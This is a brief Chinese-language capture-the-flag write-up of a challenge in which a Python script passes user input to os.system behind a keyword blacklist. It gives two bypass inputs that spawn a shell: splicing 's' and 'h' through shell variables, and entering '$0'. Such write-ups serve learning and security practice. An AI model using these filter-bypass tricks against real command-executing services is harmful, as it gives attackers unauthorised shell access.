nc

复盘/命令过滤/getshell指令

把附件拖进ida发现得出了我看不懂的一坨玩意
在re手的指导下,直接用vscode打开得到了一段python代码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)

直接给到了system执行,但是过滤了一系列命令

我第一思路是变量替换,输入如下

1
a=s;b=h;$a$b

后来又发现直接输入$0也可getshell

复现平台关了,剩下题目以后再说